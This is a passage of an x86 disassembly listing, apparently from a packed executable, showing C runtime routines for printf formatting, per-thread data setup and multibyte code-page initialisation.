eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_424140 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_42B087 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_42B087: ; CODE XREF: sub_42A6B0+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_42AFF2 ; --------------------------------------------------------------------------- loc_42B0A0: ; CODE XREF: sub_42A6B0+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_42B0E7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42B0CF cmp [ebp+var_24], 0 jnz short loc_42B0E7 loc_42B0CF: ; CODE XREF: sub_42A6B0+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_42B0E7: ; CODE XREF: sub_42A6B0+371j ; sub_42A6B0+385j ... cmp [ebp+var_23C], 0 jnz loc_42B2C2 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42B14D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_42B11B mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_42B14D ; --------------------------------------------------------------------------- loc_42B11B: ; CODE XREF: sub_42A6B0+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_42B135 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_42B14D ; --------------------------------------------------------------------------- loc_42B135: ; CODE XREF: sub_42A6B0+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_42B14D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_42B14D: ; CODE XREF: sub_42A6B0+A4Cj ; sub_42A6B0+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_42B185 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_42B460 add esp, 10h loc_42B185: ; CODE XREF: sub_42A6B0+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_42B4A0 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_42B1D3 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_42B1D3 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_42B460 add esp, 10h loc_42B1D3: ; CODE XREF: sub_42A6B0+AFBj ; sub_42A6B0+B05j cmp [ebp+var_1C], 0 jz loc_42B281 cmp [ebp+var_24], 0 jle loc_42B281 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_42B1F9: ; CODE XREF: sub_42A6B0+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_42B27F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_4340E0 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_42B259 jmp short loc_42B27F ; --------------------------------------------------------------------------- loc_42B259: ; CODE XREF: sub_42A6B0+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_42B4A0 add esp, 10h jmp loc_42B1F9 ; --------------------------------------------------------------------------- loc_42B27F: ; CODE XREF: sub_42A6B0+B60j ; sub_42A6B0+BA7j jmp short loc_42B29C ; --------------------------------------------------------------------------- loc_42B281: ; CODE XREF: sub_42A6B0+B27j ; sub_42A6B0+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_42B4A0 add esp, 10h loc_42B29C: ; CODE XREF: sub_42A6B0:loc_42B27Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_42B2C2 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_42B460 add esp, 10h loc_42B2C2: ; CODE XREF: sub_42A6B0+ADj ; sub_42A6B0+155j ... jmp loc_42A6D4 ; --------------------------------------------------------------------------- loc_42B2C7: ; CODE XREF: sub_42A6B0+3Bj ; sub_42A6B0+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42A6B0 endp ; --------------------------------------------------------------------------- off_42B2D4 dd offset loc_42A770 ; DATA XREF: sub_42A6B0+B9r dd offset loc_42A80A dd offset loc_42A84C dd offset loc_42A8BB dd offset loc_42A913 dd offset loc_42A922 dd offset loc_42A96E dd offset loc_42AA01 off_42B2F4 dd offset loc_42A898 ; DATA XREF: sub_42A6B0+1CCr dd offset loc_42A8A3 dd offset loc_42A88E dd offset loc_42A883 dd offset loc_42A8AE dd offset loc_42A8B6 byte_42B30C db 0 ; DATA XREF: sub_42A6B0+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_42B31D dd offset loc_42A9B0 ; DATA XREF: sub_42A6B0+2EEr dd offset loc_42A9E9 dd offset loc_42A9A5 dd offset loc_42A9F3 dd offset loc_42A9FC byte_42B331 db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3 ; DATA XREF: sub_42A6B0+2E8r off_42B360 dd offset loc_42AA3C ; DATA XREF: sub_42A6B0+385r dd offset loc_42ACD0 dd offset loc_42AB60 dd offset loc_42AE09 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 42h, 0 dd offset loc_42AA51 dd offset loc_42ADDB dd offset loc_42ACE0 dd offset loc_42AC85 dd offset loc_42AE55 ; --------------------------------------------------------------------------- jmp fword ptr [ebp-5489FFBEh] ; --------------------------------------------------------------------------- dw 42h dd offset loc_42ADF3 dd offset loc_42AE15 dd offset loc_42B0E7 byte_42B39C db 0 ; DATA XREF: sub_42A6B0+37Fr db 0Eh, 1, 0Eh dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh) dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B3E0 proc near ; CODE XREF: sub_42A6B0+F5p ; sub_42A6B0+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_42B422 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42B435 ; --------------------------------------------------------------------------- loc_42B422: ; CODE XREF: sub_42B3E0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A430 add esp, 8 mov [ebp+var_4], eax loc_42B435: ; CODE XREF: sub_42B3E0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42B446 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_42B453 ; --------------------------------------------------------------------------- loc_42B446: ; CODE XREF: sub_42B3E0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_42B453: ; CODE XREF: sub_42B3E0+64j mov esp, ebp pop ebp retn sub_42B3E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B460 proc near ; CODE XREF: sub_42A6B0+ACDp ; sub_42A6B0+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_42B463: ; CODE XREF: sub_42B460:loc_42B491j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_42B493 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_42B3E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_42B491 jmp short loc_42B493 ; --------------------------------------------------------------------------- loc_42B491: ; CODE XREF: sub_42B460+2Dj jmp short loc_42B463 ; --------------------------------------------------------------------------- loc_42B493: ; CODE XREF: sub_42B460+11j ; sub_42B460+2Fj pop ebp retn sub_42B460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4A0 proc near ; CODE XREF: sub_42A6B0+AEBp ; sub_42A6B0+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_42B4A4: ; CODE XREF: sub_42B4A0:loc_42B4E4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_42B4E6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_42B3E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_42B4E4 jmp short loc_42B4E6 ; --------------------------------------------------------------------------- loc_42B4E4: ; CODE XREF: sub_42B4A0+40j jmp short loc_42B4A4 ; --------------------------------------------------------------------------- loc_42B4E6: ; CODE XREF: sub_42B4A0+12j ; sub_42B4A0+42j mov esp, ebp pop ebp retn sub_42B4A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4F0 proc near ; CODE XREF: sub_42A6B0+218p ; sub_42A6B0+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_42B4F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B510 proc near ; CODE XREF: sub_42A6B0+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_42B510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B530 proc near ; CODE XREF: sub_42A6B0+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_42B530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B550 proc near ; CODE XREF: .XComp0:loc_4248A4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_4258B0 nop call near ptr 29902DBh mov dword_452508, eax cmp dword_452508, 0FFFFFFFFh jnz short loc_42B571 xor eax, eax jmp short loc_42B5CE ; --------------------------------------------------------------------------- loc_42B571: ; CODE XREF: sub_42B550+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41F230 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42B5A4 mov eax, [ebp+var_4] push eax mov ecx, dword_452508 push ecx nop call near ptr 2990000h test eax, eax jnz short loc_42B5A8 loc_42B5A4: ; CODE XREF: sub_42B550+3Dj xor eax, eax jmp short loc_42B5CE ; --------------------------------------------------------------------------- loc_42B5A8: ; CODE XREF: sub_42B550+52j mov edx, [ebp+var_4] push edx call sub_42B610 add esp, 4 nop call near ptr 2980F59h mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_42B5CE: ; CODE XREF: sub_42B550+1Fj ; sub_42B550+56j mov esp, ebp pop ebp retn sub_42B550 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_4258F0 cmp dword_452508, 0FFFFFFFFh jz short loc_42B607 mov eax, dword_452508 push eax nop call near ptr 299067Ch mov dword_452508, 0FFFFFFFFh loc_42B607: ; CODE XREF: .XComp0:0042B5EFj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B610 proc near ; CODE XREF: sub_42B550+5Cp ; sub_42B630+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_452A18 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_42B610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B630 proc near ; CODE XREF: sub_421AC0+3p ; sub_421AD0+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 nop call near ptr 27A0A66h mov [ebp+var_8], eax mov eax, dword_452508 push eax nop call near ptr 29A0000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42B6B7 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41F230 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42B6AD mov ecx, [ebp+var_4] push ecx mov edx, dword_452508 push edx call near ptr 2990000h nop test eax, eax jz short loc_42B6AD mov eax, [ebp+var_4] push eax call sub_42B610 add esp, 4 call near ptr 2980F59h nop mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_42B6B7 ; --------------------------------------------------------------------------- loc_42B6AD: ; CODE XREF: sub_42B630+43j ; sub_42B630+58j push 10h call sub_424980 add esp, 4 loc_42B6B7: ; CODE XREF: sub_42B630+22j ; sub_42B630+7Bj mov eax, [ebp+var_8] push eax nop call near ptr 2990CE1h mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B630 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_452508, 0FFFFFFFFh jz loc_42B7D5 cmp dword ptr [ebp+8], 0 jnz short loc_42B6F5 mov eax, dword_452508 push eax nop call near ptr 29A0000h mov [ebp+8], eax loc_42B6F5: ; CODE XREF: .XComp0:0042B6E4j cmp dword ptr [ebp+8], 0 jz loc_42B7C6 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_42B719 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_41F970 add esp, 8 loc_42B719: ; CODE XREF: .XComp0:0042B706j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_42B733 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_41F970 add esp, 8 loc_42B733: ; CODE XREF: .XComp0:0042B720j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_42B74D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_41F970 add esp, 8 loc_42B74D: ; CODE XREF: .XComp0:0042B73Aj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_42B767 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_41F970 add esp, 8 loc_42B767: ; CODE XREF: .XComp0:0042B754j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_42B781 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_41F970 add esp, 8 loc_42B781: ; CODE XREF: .XComp0:0042B76Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_42B79B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_41F970 add esp, 8 loc_42B79B: ; CODE XREF: .XComp0:0042B788j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_452A18 jz short loc_42B7B8 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_41F970 add esp, 8 loc_42B7B8: ; CODE XREF: .XComp0:0042B7A5j push 2 mov ecx, [ebp+8] push ecx call sub_41F970 add esp, 8 loc_42B7C6: ; CODE XREF: .XComp0:0042B6F9j push 0 mov edx, dword_452508 push edx nop call near ptr 2990000h loc_42B7D5: ; CODE XREF: .XComp0:0042B6DAj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp nop call near ptr 2980F59h pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp nop call near ptr 29A01F9h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B800 proc near ; CODE XREF: sub_42BFE0+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_425990 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_42BB50 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, dword_4E96AC jnz short loc_42B83B push 19h call sub_425A30 add esp, 4 xor eax, eax jmp loc_42BB40 ; --------------------------------------------------------------------------- loc_42B83B: ; CODE XREF: sub_42B800+28j cmp [ebp+arg_0], 0 jnz short loc_42B85C call sub_42BC30 call sub_42BCB0 push 19h call sub_425A30 add esp, 4 xor eax, eax jmp loc_42BB40 ; --------------------------------------------------------------------------- loc_42B85C: ; CODE XREF: sub_42B800+3Fj mov [ebp+var_4], 0 jmp short loc_42B86E ; --------------------------------------------------------------------------- loc_42B865: ; CODE XREF: sub_42B800:loc_42B9BAj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42B86E: ; CODE XREF: sub_42B800+63j cmp [ebp+var_4], 5 jnb loc_42B9BF mov eax, [ebp+var_4] imul eax, 30h mov ecx, dword_452518[eax] cmp ecx, [ebp+arg_0] jnz loc_42B9BA mov [ebp+var_24], 0 jmp short loc_42B89F ; --------------------------------------------------------------------------- loc_42B896: ; CODE XREF: sub_42B800+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_42B89F: ; CODE XREF: sub_42B800+94j cmp [ebp+var_24], 101h jnb short loc_42B8B4 mov eax, [ebp+var_24] mov byte_4E97C0[eax], 0 jmp short loc_42B896 ; --------------------------------------------------------------------------- loc_42B8B4: ; CODE XREF: sub_42B800+A6j mov [ebp+var_C], 0 jmp short loc_42B8C6 ; --------------------------------------------------------------------------- loc_42B8BD: ; CODE XREF: sub_42B800:loc_42B942j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42B8C6: ; CODE XREF: sub_42B800+BBj cmp [ebp+var_C], 4 jnb short loc_42B947 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_452528[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_42B8EA ; --------------------------------------------------------------------------- loc_42B8E1: ; CODE XREF: sub_42B800:loc_42B940j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_42B8EA: ; CODE XREF: sub_42B800+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42B942 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42B942 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_42B916 ; --------------------------------------------------------------------------- loc_42B90D: ; CODE XREF: sub_42B800+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42B916: ; CODE XREF: sub_42B800+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_42B940 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, byte_4E97C1[eax] or dl, byte_452510[ecx] mov eax, [ebp+var_24] mov byte_4E97C1[eax], dl jmp short loc_42B90D ; --------------------------------------------------------------------------- loc_42B940: ; CODE XREF: sub_42B800+121j jmp short loc_42B8E1 ; --------------------------------------------------------------------------- loc_42B942: ; CODE XREF: sub_42B800+F3j ; sub_42B800+FFj jmp loc_42B8BD ; --------------------------------------------------------------------------- loc_42B947: ; CODE XREF: sub_42B800+CAj mov ecx, [ebp+arg_0] mov dword_4E96AC, ecx mov dword_4E96BC, 1 mov edx, dword_4E96AC push edx call sub_42BBB0 add esp, 4 mov dword_4E98C4, eax mov [ebp+var_C], 0 jmp short loc_42B980 ; --------------------------------------------------------------------------- loc_42B977: ; CODE XREF: sub_42B800+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42B980: ; CODE XREF: sub_42B800+175j cmp [ebp+var_C], 6 jnb short loc_42B9A4 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, word_45251C[ecx+eax*2] mov word_4E96B0[edx*2], cx jmp short loc_42B977 ; --------------------------------------------------------------------------- loc_42B9A4: ; CODE XREF: sub_42B800+184j call sub_42BCB0 push 19h call sub_425A30 add esp, 4 xor eax, eax jmp loc_42BB40 ; --------------------------------------------------------------------------- loc_42B9BA: ; CODE XREF: sub_42B800+87j jmp loc_42B865 ; --------------------------------------------------------------------------- loc_42B9BF: ; CODE XREF: sub_42B800+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 29A0246h cmp eax, 1 jnz loc_42BB12 mov [ebp+var_24], 0 jmp short loc_42B9E8 ; --------------------------------------------------------------------------- loc_42B9DF: ; CODE XREF: sub_42B800+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_42B9E8: ; CODE XREF: sub_42B800+1DDj cmp [ebp+var_24], 101h jnb short loc_42B9FD mov edx, [ebp+var_24] mov byte_4E97C0[edx], 0 jmp short loc_42B9DF ; --------------------------------------------------------------------------- loc_42B9FD: ; CODE XREF: sub_42B800+1EFj mov eax, [ebp+arg_0] mov dword_4E96AC, eax mov dword_4E98C4, 0 cmp [ebp+var_20], 1 jbe loc_42BACE lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_42BA2A ; --------------------------------------------------------------------------- loc_42BA21: ; CODE XREF: sub_42B800:loc_42BA7Aj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_42BA2A: ; CODE XREF: sub_42B800+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42BA7C mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42BA7C mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_42BA56 ; --------------------------------------------------------------------------- loc_42BA4D: ; CODE XREF: sub_42B800+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42BA56: ; CODE XREF: sub_42B800+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_42BA7A mov eax, [ebp+var_24] mov cl, byte_4E97C1[eax] or cl, 4 mov edx, [ebp+var_24] mov byte_4E97C1[edx], cl jmp short loc_42BA4D ; --------------------------------------------------------------------------- loc_42BA7A: ; CODE XREF: sub_42B800+261j jmp short loc_42BA21 ; --------------------------------------------------------------------------- loc_42BA7C: ; CODE XREF: sub_42B800+233j ; sub_42B800+23Fj mov [ebp+var_24], 1 jmp short loc_42BA8E ; --------------------------------------------------------------------------- loc_42BA85: ; CODE XREF: sub_42B800+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42BA8E: ; CODE XREF: sub_42B800+283j cmp [ebp+var_24], 0FFh jnb short loc_42BAAE mov ecx, [ebp+var_24] mov dl, byte_4E97C1[ecx] or dl, 8 mov eax, [ebp+var_24] mov byte_4E97C1[eax], dl jmp short loc_42BA85 ; --------------------------------------------------------------------------- loc_42BAAE: ; CODE XREF: sub_42B800+295j mov ecx, dword_4E96AC push ecx call sub_42BBB0 add esp, 4 mov dword_4E98C4, eax mov dword_4E96BC, 1 jmp short loc_42BAD8 ; --------------------------------------------------------------------------- loc_42BACE: ; CODE XREF: sub_42B800+213j mov dword_4E96BC, 0 loc_42BAD8: ; CODE XREF: sub_42B800+2CCj mov [ebp+var_C], 0 jmp short loc_42BAEA ; --------------------------------------------------------------------------- loc_42BAE1: ; CODE XREF: sub_42B800+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42BAEA: ; CODE XREF: sub_42B800+2DFj cmp [ebp+var_C], 6 jnb short loc_42BAFF mov eax, [ebp+var_C] mov word_4E96B0[eax*2], 0 jmp short loc_42BAE1 ; --------------------------------------------------------------------------- loc_42BAFF: ; CODE XREF: sub_42B800+2EEj call sub_42BCB0 push 19h call sub_425A30 add esp, 4 xor eax, eax jmp short loc_42BB40 ; --------------------------------------------------------------------------- loc_42BB12: ; CODE XREF: sub_42B800+1D0j cmp dword_4E92C4, 0 jz short loc_42BB33 call sub_42BC30 call sub_42BCB0 push 19h call sub_425A30 add esp, 4 xor eax, eax jmp short loc_42BB40 ; --------------------------------------------------------------------------- loc_42BB33: ; CODE XREF: sub_42B800+319j push 19h call sub_425A30 add esp, 4 or eax, 0FFFFFFFFh loc_42BB40: ; CODE XREF: sub_42B800+36j ; sub_42B800+57j ... mov esp, ebp pop ebp retn sub_42B800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB50 proc near ; CODE XREF: sub_42B800+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov dword_4E92C4, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_42BB75 mov dword_4E92C4, 1 nop call near ptr 29A0A3Dh jmp short loc_42BBA7 ; --------------------------------------------------------------------------- loc_42BB75: ; CODE XREF: sub_42BB50+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_42BB8D mov dword_4E92C4, 1 nop call near ptr 29A09FFh jmp short loc_42BBA7 ; --------------------------------------------------------------------------- loc_42BB8D: ; CODE XREF: sub_42BB50+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_42BBA4 mov dword_4E92C4, 1 mov eax, dword_4E92F4 jmp short loc_42BBA7 ; --------------------------------------------------------------------------- loc_42BBA4: ; CODE XREF: sub_42BB50+41j mov eax, [ebp+arg_0] loc_42BBA7: ; CODE XREF: sub_42BB50+23j ; sub_42BB50+3Bj ... pop ebp retn sub_42BB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BBB0 proc near ; CODE XREF: sub_42B800+161p ; sub_42B800+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_42BBFA mov eax, [ebp+var_4] xor edx, edx mov dl, byte_42BC14[eax] jmp off_42BC00[edx*4] loc_42BBDE: ; DATA XREF: .XComp0:off_42BC00o mov eax, 411h jmp short loc_42BBFC ; --------------------------------------------------------------------------- loc_42BBE5: ; CODE XREF: sub_42BBB0+27j ; DATA XREF: .XComp0:0042BC04o mov eax, 804h jmp short loc_42BBFC ; --------------------------------------------------------------------------- loc_42BBEC: ; CODE XREF: sub_42BBB0+27j ; DATA XREF: .XComp0:0042BC08o mov eax, 412h jmp short loc_42BBFC ; --------------------------------------------------------------------------- loc_42BBF3: ; CODE XREF: sub_42BBB0+27j ; DATA XREF: .XComp0:0042BC0Co mov eax, 404h jmp short loc_42BBFC ; --------------------------------------------------------------------------- loc_42BBFA: ; CODE XREF: sub_42BBB0+1Aj ; 